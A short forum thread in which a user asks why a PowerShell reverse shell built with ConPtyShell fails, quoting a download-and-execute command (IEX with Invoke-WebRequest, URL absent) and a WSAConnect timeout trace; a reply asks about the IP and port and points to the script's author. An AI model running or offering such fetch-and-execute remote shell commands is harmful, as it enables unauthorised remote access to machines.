Hi, I wanted to make a reverse shell on Windows, using Powershell. I ran this command: IEX(IWR -UseBasicParsing); Invoke-ConPtyShell 0000 and I get this: CreatePseudoConsole function found! Spawning a fully interactive shell. But then after a couple seconds I get this error: ConPtyShellException: [-] ConPtyShellException: WSAConnect failed with error code: 10060 at ConPtyShell.connectRemote(String remoteIp, Int32 remotePort) at ConPtyShell.SpawnConPtyShell(String remoteIp, Int32 remotePort, UInt32 rows, UInt32 cols, String commandLine, Boolean upgradeShell) at ConPtyShellMainClass.ConPtyShellMain(String[] args)
Any help would be appreciated!

Welcome to the forum. :wave:t4:

I’m not sure if I understood the concept of reverse shells completely but are you sure that actually have? I’d expect that you have to provide a valid ip address and port for it. (if you just obfuscated the actual address and port you used here for this post please ignore this last sentence :wink: )

Regardless of that - did you try to contact the author of the script for help?